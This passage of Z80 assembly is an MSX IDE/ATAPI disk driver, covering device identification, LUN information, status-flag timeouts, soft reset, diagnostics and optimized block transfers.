ex (sp),hl ; (sp)=number of remaining words
ld a,(ix+DEVINFO.t321D)
and 3
cp 3 ; ATAPI?
ld a,ATACMD.IDENTIFY ; Send IDENTIFY commad
jr c,.identify
ld a,ATAPICMD.IDENTPACKET ;Send IDENTIFY PACKET commad
.identify:
call PIO_CMD
jr c,.errorpop
ex de,hl ; de=string buffer
.skip:
ld hl,(IDE_DATA) ;Skip device data until the desired string
djnz .skip
; Transfer all bytes to the buffer. String processing must be done
; later because some devices don't like when the transfer is too slow
; ld b,0
ld hl,IDE_DATA
ldir
pop bc ; b=number of remaining words
.flushloop: ; Flush the rest of the data
ld hl,(IDE_DATA)
djnz .flushloop
or a ; Clear Cy
ret
.errorpop:
pop de ; Discard stack data
ret
; Digest a string from the device and place it on the buffer
; Input : IY=Pointer to the text buffer
; B=Size of the string
; Modifies: AF, BC
DEV_STRING_DIGEST:
push bc,hl
call DEV_STRING_GET
pop iy,bc
ret c
ld b,c
; --- Digest an ATA string into a text string
.stringloop:
ld a,(iy+1)
ld c,(iy)
call .validatechar
ld (iy),a
ld a,c
call .validatechar
ld (iy+1),a
inc iy
inc iy
djnz .stringloop
or a ; Clear Cy
ret
.validatechar:
cp 32
jr c,.invalidchar
cp 127
ret c
.invalidchar:
ld a,'_'
ret
;-----------------------------------------------------------------------------
;
; Obtain device status
;
;Input: A = Device index, 1 to 7
; B = Logical unit number, 1 to 7.
; 0 to return the status of the device itself.
;Output: A = Status for the specified logical unit,
; or for the whole device if 0 was specified:
; 0: The device or logical unit is not available, or the
; device or logical unit number supplied is invalid.
; 1: The device or logical unit is available and has not
; changed since the last status request.
; 2: The device or logical unit is available and has changed
; since the last status request
; (for devices, the device has been unplugged and a
; different device has been plugged which has been
; assigned the same device index; for logical units,
; the media has been changed).
; 3: The device or logical unit is available, but it is not
; possible to determine whether it has been changed
; or not since the last status request.
;
; Devices not supporting hot-plugging must always return status value 1.
; Non removable logical units may return values 0 and 1.
DEV_STATUS:
set 0,b ;So that CHECK_DEV_LUN admits B=0
call CHECK_DEV_LUN
ld e,a
ld a,0
ret c
ld a,1 ;Never changed
ret
;ld a,1
;ret
ld a,e
cp 2
ld a,1
ret nz
ld a,e
dec a ;FOR TESTING:
ld a,2 ;Return "Unchanged" for device 1, "Unknown" for device 2
ret z
ld a,3
ret
;-----------------------------------------------------------------------------
;
; Obtain logical unit information
;
;Input: A = Device index, 1 to 7.
; B = Logical unit number, 1 to 7.
; HL = Pointer to buffer in RAM.
;Output: A = 0: Ok, buffer filled with information.
; 1: Error, device or logical unit not available,
; or device index or logical unit number invalid.
; On success, buffer filled with the following information:
;
;+0 (1): Medium type:
; 0: Block device
; 1: CD or DVD reader or recorder
; 2-254: Unused. Additional codes may be defined in the future.
; 255: Other
;+1 (2): Sector size, 0 if this information does not apply or is
; not available.
;+3 (4): Total number of available sectors.
; 0 if this information does not apply or is not available.
;+7 (1): Flags:
; bit 0: 1 if the medium is removable.
; bit 1: 1 if the medium is read only. A medium that can dinamically
; be write protected or write enabled is not considered
; to be read-only.
; bit 2: 1 if the LUN is a floppy disk drive.
;+8 (2): Number of cylinders (0, if not a hard disk)
;+10 (1): Number of heads (0, if not a hard disk)
;+11 (1): Number of sectors per track (0, if not a hard disk)
LUN_INFO:
call CHECK_DEV_LUN
jp c,LUN_INFO_ERROR
call MY_GWORK ; ix=workarea for this device
ld b,a
call IDE_ON
ld a,b
push hl
pop iy
dec a
jr z,LUN_INFO2
ld a,M_DEV
LUN_INFO2:
ld e,a
call WAIT_DRDY
jp c,LUN_INFO_ERROR
ld a,e
call SELDEV
ld a,(ix+DEVINFO.t321D)
and 3
cp 3 ; ATAPI?
jp z,LUN_NFO_ATAPI ; Yes, skip
ld a,ATACMD.IDENTIFY ; Send IDENTIFY commad
call PIO_CMD
jp c,LUN_INFO_ERROR
;========== Device properties ==========
;---Set the device type
ld (iy),0 ;set device type
ld (iy+7),0 ;Not removable, nor floppy
ld hl,(IDE_DATA) ;Skip word 0
;Set cylinders, heads, and sectors/track
ld hl,(IDE_DATA)
ld (iy+8),l ;Word 1: Cylinders
ld (iy+9),h
ld hl,(IDE_DATA) ;Skip word 2
ld hl,(IDE_DATA)
ld (iy+10),l ;Word 3: Heads
ld hl,(IDE_DATA)
ld hl,(IDE_DATA) ;Skip words 4,5
ld hl,(IDE_DATA)
ld (iy+11),l ;Word 6: Sectors/track
;Set maximum sector number
ld b,60-7 ;Skip until word 60
.skip1:
ld de,(IDE_DATA)
djnz .skip1
ld de,(IDE_DATA) ;DE = Low word
ld hl,(IDE_DATA) ;HL = High word
ld (iy+3),e
ld (iy+4),d
ld (iy+5),l
ld (iy+6),h
;Set sector size
ld b,117-62 ;Skip until word 117
.skip2:
ld de,(IDE_DATA)
djnz .skip2
ld de,(IDE_DATA) ;DE = Low word
ld hl,(IDE_DATA) ;HL = High word
ld a,h ;If high word not zero, set zero (info not available)
or l
ld hl,0
ex de,hl
jr nz,.info_ssize
ex de,hl
ld a,d
or e
jr nz,.info_ssize
ld de,512 ;If low word is zero, assume 512 bytes
.info_ssize:
ld (iy+1),e
ld (iy+2),d
ld (ix+DEVINFO.SECTSIZE),e
ld (ix+DEVINFO.SECTSIZE+1),d
;Flush the rest of the data
ld b,256-118
.skip3:
ld de,(IDE_DATA)
djnz .skip3
; Finish
call IDE_OFF
xor a
ret
LUN_NFO_ATAPI:
ld a,ATAPICMD.IDENTPACKET ;Send IDENTIFY PACKET commad
call PIO_CMD
jp c,LUN_INFO_ERROR
ld hl,(IDE_DATA) ;Read word 0
; Get the ATAPI device type
xor a
sla l ;Get the removable-device flag
adc a,a ;Inject it in A
ld (iy+7),a
ld a,h
and #1F ;Crop command packet set
ld d,a ;d=0: block device
jr z,.setdevtype ;Direct-access device
dec d ;d=255: other
cp 5 ;CD-ROM?
jr nz,.setdevtype ;Yes, skip
ld d,1 ;d=1: CD-ROM
ld a,2 ;read-only media
or (iy+7)
.setdevtype:
ld (iy+7),a
ld (iy),d ;set device type
ld b,255 ;Flush the rest of the data
.skip1:
ld hl,(IDE_DATA)
djnz .skip1
ld hl,512 ;Set the buffer size to 512 bytes
ld (IDE_LBAMID),hl
ld l,(ix+DEVINFO.pBASEWRK) ; hl=WorkArea
ld h,(ix+DEVINFO.pBASEWRK+1)
ld de,WRKAREA.PCTBUFF
add hl,de
push hl
ld (hl),PACKETCMD.RDCAPACITY
inc hl
ld b,11
.zloop: ld (hl),0 ; Clear the rest of the package
inc hl
djnz .zloop
ld a,ATAPICMD.PACKET ; PIO send PACKET command
call PIO_CMD
jr c,.errorpop
pop hl
push hl ; Source=PCTBUF
ld bc,12 ; 12 byte packet
push iy
ld iyl,1
call WRITE_DATA ; Send the packet to the device
pop iy
jr nc,.rdmediapropr ; No error? Then read media proprieties
; Guess the sector size based on the device type
pop de ; Discard the destination buffer address
ld a,(iy) ; Get device type
ld de,2048 ; CD-ROM sector size
cp 1 ; CD-ROM?
jr z,.info_ssizeatapi
ld de,512 ; Otherwise assume a 512 byte sector
jr .info_ssizeatapi
.rdmediapropr:
pop de ; Destination=PCTBUFF
ld bc,8 ; 8 byte response
push iy
ld iyl,1
call READ_DATA
pop iy
jr c,LUN_INFO_ERROR
ld h,(ix+WRKAREA.PCTBUFF+0) ; Get the number of sectors
ld l,(ix+WRKAREA.PCTBUFF+1)
ld d,(ix+WRKAREA.PCTBUFF+2)
ld e,(ix+WRKAREA.PCTBUFF+3)
ld (iy+3),e ; Set the number of sectors
ld (iy+4),d
ld (iy+5),l
ld (iy+6),h
ld h,(ix+WRKAREA.PCTBUFF+4) ; Get the sector size
ld l,(ix+WRKAREA.PCTBUFF+5)
ld d,(ix+WRKAREA.PCTBUFF+6)
ld e,(ix+WRKAREA.PCTBUFF+7)
ld a,h ;If high word not zero, set zero (info not available)
or l
ld hl,0
ex de,hl
jr nz,.info_ssizeatapi
ex de,hl
ld a,d
or e
jr nz,.info_ssizeatapi
ld de,512 ;If low word is zero, assume 512 bytes
.info_ssizeatapi:
ld (iy+1),e ; Set the sector size
ld (iy+2),d
ld (ix+DEVINFO.SECTSIZE),e
ld (ix+DEVINFO.SECTSIZE+1),d
call IDE_OFF
xor a
ret
.errorpop:
pop hl
LUN_INFO_ERROR:
call IDE_OFF
ld a,1
ret
;-----------------------------------------------------------------------------
;
; Physical format a device
;
;Input: A = Device index, 1 to 7
; B = Logical unit number, 1 to 7
; C = Format choice, 0 to return choice string
;Output:
; When C=0 at input:
; A = 0: Ok, address of choice string returned
; _IFORM: Invalid device or logical unit number,
; or device not formattable
; HL = Address of format choice string (in bank 0 or 3),
; only if A=0 returned.
; Zero, if only one choice is available.
;
; When C<>0 at input:
; A = 0: Ok, device formatted
; Other: error code, same as DEV_RW plus:
; _IPARM: Invalid format choice
; _IFORM: Invalid device or logical unit number,
; or device not formattable
; B = Media ID if the device is a floppy disk, zero otherwise
; (only if A=0 is returned)
;
; Media IDs are:
; F0h: 3.5" Double Sided, 80 tracks per side, 18 sectors per track (1.44MB)
; F8h: 3.5" Single sided, 80 tracks per side, 9 sectors per track (360K)
; F9h: 3.5" Double sided, 80 tracks per side, 9 sectors per track (720K)
; FAh: 5.25" Single sided, 80 tracks per side, 8 sectors per track (320K)
; FBh: 3.5" Double sided, 80 tracks per side, 8 sectors per track (640K)
; FCh: 5.25" Single sided, 40 tracks per side, 9 sectors per track (180K)
; FDh: 5.25" Double sided, 40 tracks per side, 9 sectors per track (360K)
; FEh: 5.25" Single sided, 40 tracks per side, 8 sectors per track (160K)
; FFh: 5.25" Double sided, 40 tracks per side, 8 sectors per track (320K)
DEV_FORMAT:
ld a,_IFORM
ret
;-----------------------------------------------------------------------------
;
; Execute direct command on a device
;
;Input: A = Device number, 1 to 7
; B = Logical unit number, 1 to 7 (if applicable)
; HL = Address of input buffer
; DE = Address of output buffer, 0 if not necessary
;Output: Output buffer appropriately filled (if applicable)
; A = Error code:
; 0: Ok
; 1: Invalid device number or logical unit number,
; or device not ready
; 2: Invalid or unknown command
; 3: Insufficient output buffer space
; 4-15: Reserved
; 16-255: Device specific error codes
;
; The first two bytes of the input and output buffers must contain the size
; of the buffer, not incuding the size bytes themselves.
; For example, if 16 bytes are needed for a buffer, then 18 bytes must
; be allocated, and the first two bytes of the buffer must be 16, 0.
DEV_CMD:
ld a,2
ret
;=====
;===== END of DEVICE-BASED specific routines
;=====
;=======================
; Subroutines
;=======================
;-----------------------------------------------------------------------------
;
; Enable or disable the IDE registers
;Note that bank 7 (the driver code bank) must be kept switched
IDE_ON:
ld a,1+7*32
ld (IDE_BANK),a
ret
IDE_OFF:
ld a,7*32
ld (IDE_BANK),a
ret
;-----------------------------------------------------------------------------
; Wait the BSY flag to clear
; Note: This version has a short timeout and is intended for the normal r/w
; operations. It's not adequate to be used for slower commands like soft-reset
; or DIAGNOSTICS.
;
; Input: Nothing
; Output: Cy=1 if timeout
; A = Contents of the status register
WAIT_BSY:
out (#E6),a ; Reset System-timer
in a,(#E7)
or a ; Is the timer present?
jr z,.hasTimer
push bc
ld bc,#0090 ; 256 fast retries, 48 slow retries
.wait1:
ld a,(IDE_STATUS)
and M_BSY ; Still busy?
jr z,.end ; No, skip
ex (sp),hl
ex (sp),hl
djnz .wait1 ; fast retry
ex (sp),hl
ex (sp),hl
ex (sp),hl
ex (sp),hl
ex (sp),hl
ex (sp),hl
dec c
jr nz,.wait1 ; slow retry
scf ; Timeout: quit with Cy=on
.end: pop bc
ret
.hasTimer:
push bc
ld b,1*4 ; 1s
.twait1:
ld a,(IDE_STATUS)
and M_BSY
jr z,.tend ; Yes, quit
in a,(#E7)
cp 250 ; 250ms
jr c,.twait1
out (#E6),a ; Reset the timer again
djnz .twait1
scf ; Timeout: quit with Cy=on
.tend:
ld a,(IDE_STATUS) ; Clear the INTRQ
pop bc
ret
;-----------------------------------------------------------------------------
; Wait the BSY flag to clear and RDY flag to be set
; if we wait for more than 30s, send a soft reset to IDE BUS
; if the soft reset didn't work after 30s return with error
;
; Input: Nothing
; Output: Cy=1 if timeout after soft reset
; A = Contents of the status register
WAIT_DRDY:
out (#E6),a ; Reset System-timer
in a,(#E7)
or a ; Is the timer present?
jr z,.hasTimer
push bc
ld bc,#0000 ; 256 fast retries, 256 slow retries
.wait1: ld a,(IDE_STATUS)
and M_BSY+M_DRDY
cp M_DRDY ; BSY=0 and DRDY=1?
jr z,.end ; Yes, quit
ex (sp),hl
ex (sp),hl
djnz .wait1 ; fast retry
ex (sp),hl
ex (sp),hl
ex (sp),hl
ex (sp),hl
ex (sp),hl
ex (sp),hl
ex (sp),hl
ex (sp),hl
dec c
jr nz,.wait1 ; slow retry
scf
.end: pop bc
ld a,(IDE_STATUS) ; Clear the INTRQ
ret
.hasTimer:
push bc
ld b,10*4 ; 10s
.twait1:
ld a,(IDE_STATUS)
and M_BSY+M_DRDY
cp M_DRDY ; BSY=0 and DRDY=1?
jr z,.tend ; Yes, quit
in a,(#E7)
cp 250 ; 250ms
jr c,.twait1
out (#E6),a ; Reset the timer again
djnz .twait1
scf ; Timeout: quit with Cy=on
.tend: ld a,(IDE_STATUS)
pop bc
ret
;-----------------------------------------------------------------------------
;--- Check for device fault or error
; Output: Cy=on and A=_DISK on fault
CHK_RW_FAULT:
call WAIT_BSY ; wait until the flags are valid
; jr c,.error ; quit on timeout
ret c ; quit on timeout
ld a,(IDE_STATUS)
and M_DF+M_ERR ; Device fault or error?
ret z ; No, quit wit Cy off
;.error:
; call IDE_OFF
; ld a,_DISK
; ld b,0
scf
ret
;-----------------------------------------------------------------------------
; Check for ERROR
;
CHK_ERR:
call WAIT_BSY ; wait until the flags are valid
ret c
bit ERR,a ; error?
ret z ; No, quit
scf
ret
;-----------------------------------------------------------------------------
; Execute a PIO command
;
; Input: A = Command code
; Other command registers appropriately set
; Output: Cy=1 if ERR bit in status register set
; A = Contents of the status register
PIO_CMD:
push bc
ld c,a
call WAIT_BSY ; wait until the flags are valid
ld a,c
pop bc
ret c
ld (IDE_CMD),a
; Must wait 400ns
nop ; 1400ns@3.57MHz
;-----------------------------------------------------------------------------
;
WAIT_DRQ:
call WAIT_BSY ; wait until the flags are valid
ret c ; quit on timeout
out (#E6),a ; Reset System-timer
in a,(#E7)
or a ; Is the timer present?
jr z,.hasTimer
push bc
ld bc,#0090 ; 256 fast retries, 144 slow retries
.wait1: ld a,(IDE_STATUS)
rrca ; ERR=1?
jr c,.end2 ; Yes, abort with error
and (M_DRQ>>1) ; DRQ=1?
jr nz,.end ; Yes, quit
ex (sp),hl
ex (sp),hl
djnz .wait1 ; fast retry
ex (sp),hl
ex (sp),hl
ex (sp),hl
ex (sp),hl
ex (sp),hl
ex (sp),hl
dec c
jr nz,.wait1 ; slow retry
scf ; Cy = timeout
.end:
; ex (sp),hl ; Blind wait for the INTRQ, since
; ex (sp),hl ; this IDE interface doesn't allow
; ex (sp),hl ; us to know when the interrupt would
; ex (sp),hl ; be triggered.
.end2: pop bc
ld a,(IDE_STATUS)
ret
.hasTimer:
push bc
ld b,5*4 ; 5s
.twait1:
ld a,(IDE_STATUS)
rrca ; error?
jr c,.tend2 ; Yes, abort with Cy=on
and (M_DRQ>>1) ; DRQ=1?
jr nz,.tend ; Yes, quit
in a,(#E7)
cp 250 ; 250ms
jr c,.twait1
out (#E6),a ; Reset the timer again
djnz .twait1
scf ; Timeout: quit with Cy=on
jr .tend2
.tend:
out (#E6),a ; Reset the timer
.tblindwait: ; Blind wait for the INTRQ, since
in a,(#E6) ; this IDE interface doesn't allow
; us to know when the interrupt would
; be triggered. Duh!
cp 3 ; 3*4us
jr c,.tblindwait
.tend2: pop bc
ld a,(IDE_STATUS) ; Clear the INTRQ
ret
;-----------------------------------------------------------------------------
; Select a device
;
; This operation seems to require a delay, otherwise the devices may behave
; erratically
SELDEV:
ex af,af'
call WAIT_BSY
ret c
ex af,af'
ld (IDE_HEAD),a
; Detect the system timer
out (#E6),a
in a,(#E7)
or a
jr z,.twait1
ex (sp),hl
ex (sp),hl
ret
.twait1:
in a,(#E6)
cp 3 ; 3*4us
jr c,.twait1
ret
;-----------------------------------------------------------------------------
; Disable the interrupts for the current device
;
; This operation seems to require a delay, otherwise the devices may behave
; erratically
DISDEVINT:
ld a,M_nIEN ; Disable interrupts
ld (IDE_DEVCTRL),a
; Detect the system timer
out (#E6),a
in a,(#E7)
or a
jr z,.twait1
ex (sp),hl
ex (sp),hl
ret
.twait1:
in a,(#E6)
cp 3 ; 3*4us
jr c,.twait1
ret
ld a,(IDE_STATUS)
rrca ; ERR=1?
ccf
ret nc ; Yes, quit
jp WAIT_BSY
;-----------------------------------------------------------------------------
;
; Do a soft reset on the IDE devices
;
; Input : none
; Output : Cy if timed out
; (INTFLG)=3 if the user pressed CTRL+STOP
RESET_ALL:
ld a,M_DEV ; Select SLAVE
call SELDEV
call WAIT_BSY
xor a ; Select MASTER
call SELDEV
call WAIT_BSY
call .atapirst
.ataonly:
xor a ; Select MASTER
call SELDEV
call WAIT_BSY
out (#E6),a
in a,(#E7)
or a ; Is the system-timer present?
jr z,.hasSystimer ; Yes, use it
.noSystimer:
ld a,M_SRST+M_nIEN ; Do a software reset
ld (IDE_DEVCTRL),a
halt
halt ; 16.6ms (spec: 5us)
ld a,M_nIEN ; stop reset
ld (IDE_DEVCTRL),a
halt ; 16.6ms (spec: 2ms)
call WAIT_RST ; Wait for the resets to finish
ret c
halt
halt
ret
.hasSystimer:
.twait1:
in a,(#E6)
cp 2 ; 2*4us (spec: > 5us)
jr c,.twait1
ld a,M_nIEN ; stop reset
ld (IDE_DEVCTRL),a
out (#E6),a
.twait2:
in a,(#E7)
cp 3 ; 3ms (spec: > 2ms)
jr c,.twait2
call WAIT_RST ; Wait for the resets to finish
ret c
halt
halt
ret
.atapirst:
; Reset a slave ATAPI
ld a,M_DEV ; Select SLAVE
call SELDEV
ld a,ATAPICMD.RESET
ld (IDE_CMD),a
; Reset a master ATAPI
xor a ; Select MASTER
call SELDEV
ld a,ATAPICMD.RESET
ld (IDE_CMD),a
ret
;-----------------------------------------------------------------------------
; Checks for a diagnostic error and set a warning flag accordingly
; Input : none
; Output: WRKAREA.MASTER.t321D and WRKAREA.SLAVE.t321D:
; 0=no error
; bit7=1: error. b6~b0: reported error code
; Modifies: B
CHKDIAG:
ld a,(ix+WRKAREA.MASTER.t321D)
inc a ; Undetected master?
scf
ret z ; Yes, quit with error
ld a,(IDE_ERROR)
ld b,a ; b=DIAG status
and #7F ; Crop the master error code
cp 1 ; Any error?
jr z,.chkslave ; No, skip
.saveerrms: ; Save the error code from the master
or #80
ld (ix+WRKAREA.MASTER.t321D),a
bit 7,b ; Error on slave?
scf
ret z ; No, quit
.chkslave:
bit 7,b ; Error on slave?
ret z ; No, quit
ld a,M_DEV ; Select the slave
call SELDEV
ld a,(IDE_ERROR)
and #7F ; Crop the slave error code
cp 1 ; Any error?
ret z ; No, quit
.saveerrsl: ; Save the error code from the slave
or #80
ld (ix+WRKAREA.SLAVE.t321D),a
ld a,b
cp 1 ; Any error reported?
ret z ; No, quit with Cy=off
scf ; Cy=on if there was any error
ret
;-----------------------------------------------------------------------------
; Prints an explanation message for a diagnostic error
; Input: A=Diagnostic error
DIAGERRPRT:
cp #FE ; Undetected master?
ld de,DIAGS_S.nomaster
jr z,.print ; Yes, print
and #7F ; Crop the error code
jr z,.print ; 0=Undetected master: print
ld b,a
dec b ; adjust for the switch case
djnz .buff
ld de,DIAGS_S.formatter ; ERR=2
jr .print
.buff: djnz .ecc
ld de,DIAGS_S.buffer ; ERR=3
jr .print
.ecc: djnz .mcu
ld de,DIAGS_S.ECC ; ERR=4
jr .print
.mcu: djnz .unkn
ld de,DIAGS_S.microcontroller ; ERR=5
.print: jp PRINT
.unkn: ld de,DIAGS_S.unknown
push af
call PRINT
pop af
call PRINTHEXBYTE
ld a,'>'
call CHPUT
ld de,CRLF_S
jr .print
;-----------------------------------------------------------------------------
; Subroutine to read blocks of arbitrary size on the IDE
; Input: DE =Data destination
; BC =block size
; IYL=Number of blocks
READ_DATA:
call SETLDIRHLPR ; hl'=Pointer to data transfer helper
.loop:
call WAIT_DRQ
ret c
ld hl,IDE_DATA
call RUN_HLPR
dec iyl
jp nz,.loop
ret
;-----------------------------------------------------------------------------
; Subroutine to write blocks of arbitrary size on the IDE
; Input: HL =Data source
; BC =block size
; IYL=Number of blocks
WRITE_DATA:
call SETLDIRHLPR ; hl'=Pointer to LDIR helper in RAM
.loop:
call WAIT_DRQ
ret c
ld de,IDE_DATA
call RUN_HLPR
call CHK_RW_FAULT
ret c
dec iyl
jp nz,.loop
ret
LDI512: ; Z80 optimized 512 byte transfer
exx
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ldi
ret
;-----------------------------------------------------------------------------
;
; Print a zero-terminated string on screen
; Input: DE = String address
PRINT:
ld a,(de)
or a
ret z
call CHPUT
inc de
jr PRINT
;-----------------------------------------------------------------------------
;
; Obtain the work area address for the driver or the device
; Input: A=Selects where to point inside the work area
; 0: base work area
; 1: work area for the master
; 2: work area for the slave
; Output: IX=Pointer to the selected work area
; Modifies: disables the IDE registers
MY_GWORK:
push af
xor a
EX AF,AF'
XOR A
LD IX,GWORK
call CALBNK
pop af
push de
ld e,(ix) ; de=Pointer to the WorkAREA in RAM
ld d,(ix+1)
ld ix,0
or a
jr z,.end
cp 1
ld ix,WRKAREA.MASTER.BASE
jr z,.end
ld ix,WRKAREA.SLAVE.BASE
.end: add ix,de ; Point ix to the device work area
pop de
ret
;-----------------------------------------------------------------------------
;
; Check the device index and LUN
; Input: A = device index, B = lun
; Output: Cy=0 if OK, 1 if device or LUN invalid
; IX = Work area for the device
; Modifies F, C
CHECK_DEV_LUN:
or a ;Check device index
scf
ret z ;Return with error if devindex=0
cp 3
ccf
ret c ;Return with error if devindex>2
ld c,a ; c=device index
ld a,b ; Check LUN number
cp 1
ld a,c
scf
ret nz
push hl
push de
call MY_GWORK
pop de
pop hl
ld c,a
ld a,(ix+DEVINFO.t321D)
and 3
jr z,.nodev
cp 1 ; TODO: Implement CHS support
jr z,.nodev ; For now, CHS devices are unsupported
ld a,c
or a
ret
.nodev:
ld a,c
scf
ret
; ------------------------------------------------
; Jumps to a helper routine, usually in RAM
; Input: HL': Address of the target routine
; ------------------------------------------------
RUN_HLPR:
exx
jp (hl)
; ------------------------------------------------
; Setup the arbitrary block size LDIR helper to be used
; Input : BC : block size (must be >2 bytes)
; Output : HL': Address of the LDIR helper in RAM
; Modifies: AF, DE', HL'
; ------------------------------------------------
SETLDIRHLPR:
ld a,b
or c ; Shortcut comparison. Takes advantage that
; only 512 and 2 will have this OR bitmask
; to save time
cp HIGH 512 ; bc=512?
exx
jr nz,.useLDIR ; No, must use LDIR then
; Check for a Z80 or R800
xor a ; Clear Cy
dec a ; A=#FF
db #ED,#F9 ; mulub a,a
jr c,.useLDIR ; Always use LDIR in RAM for the R800
ld hl,LDI512
exx
ret
.useLDIR:
exx
push bc
exx
pop de ; de=block size
ld l,(ix+DEVINFO.pBASEWRK)
ld h,(ix+DEVINFO.pBASEWRK+1)
; Set the the block size
; *** BLKLEN must be the first data in the workArea
ld (hl),e
inc hl
ld (hl),d
; Point to the data transfer routine
ld de,WRKAREA.LDIRHLPR-1
add hl,de
exx ; hl'=Pointer to LDIR helper routine
ret
; ------------------------------------------------
; Initialize the Work-area
; ------------------------------------------------
INIWORK:
; Clear the WorkArea
push ix
pop hl
push hl
ld b,WRKAREA
xor a
.clrwork2:
ld (hl),a
inc hl
djnz .clrwork2
pop hl
; Set the pointers to go back to the base of the WorkArea
ld (ix+WRKAREA.MASTER.pBASEWRK),l
ld (ix+WRKAREA.MASTER.pBASEWRK+1),h
ld (ix+WRKAREA.SLAVE.pBASEWRK),l
ld (ix+WRKAREA.SLAVE.pBASEWRK+1),h
; Install the data transfer helper routine in the WorkArea
; This speeds up the LDIR speed a lot for the R800
ld de,WRKAREA.LDIRHLPR
add hl,de
ex de,hl
ld hl,R800DATHLP
ld bc,R800DATHLP.end-R800DATHLP
ldir
; Point the LD BC (addr) from LDIRHLPR to BLKLEN
push ix
pop hl
ld de,WRKAREA.BLKLEN
add hl,de ; hl=pointer to BLKLEN
ld (ix+WRKAREA.LDIRHLPR+3),l
ld (ix+WRKAREA.LDIRHLPR+4),h
ret
; ------------------------------------------------
; R800 data transfer routine, copied to the WorkArea
; ------------------------------------------------
R800DATHLP:
exx
ld bc,(0) ; The address will be set by INIWORK
ldir
ret
.end:
;-----------------------------------------------------------------------------
;
; Restore screen parameters on MSX>=2 if they're not set yet
; Input : none
; Output : none
; Modifies: all
MYSETSCR:
ld a,(MSXVER)
or a ; MSX1?
jr nz,.notMSX1 ; No, skip
.MSX1:
ld a,(SCRMOD)
or a ; SCREEN0 already?
ret z ; Yes, quit
jp INITXT ; set screen0
.notMSX1:
ld c,$23 ; Block-2, R#3
ld ix,REDCLK
call EXTROM
and 1
ld b,a
ld a,(SCRMOD)
cp b
jr nz,.restore
inc c
ld ix,REDCLK
call EXTROM
ld b,a
inc c
ld ix,REDCLK
call EXTROM
add a,a
add a,a
add a,a
add a,a
or b
ld b,a
ld a,(LINLEN)
cp b
ret z
.restore:
xor a ; Don't displat the function keys
ld ix,SDFSCR
jp EXTROM
;-----------------------------------------------------------------------------
; Prints a byte in hex
; Input : A=byte to be printed
; Modifies: C
PRINTHEXBYTE:
ld c,a
rrca
rrca
rrca
rrca
and #F
call printnibble
ld a,c
and #F
call printnibble
ret
printnibble:
cp 10 ; <=9?
jr c,.print09 ; Yes, skip
; ld a,9 ; Limit to 1 digit
cp 15
jr c,.printAF
ld a,#F ; Limit to 15
.printAF:
add "A"-10
jp CHPUT
.print09:
add "0"
jp CHPUT
;-----------------------------------------------------------------------------
;
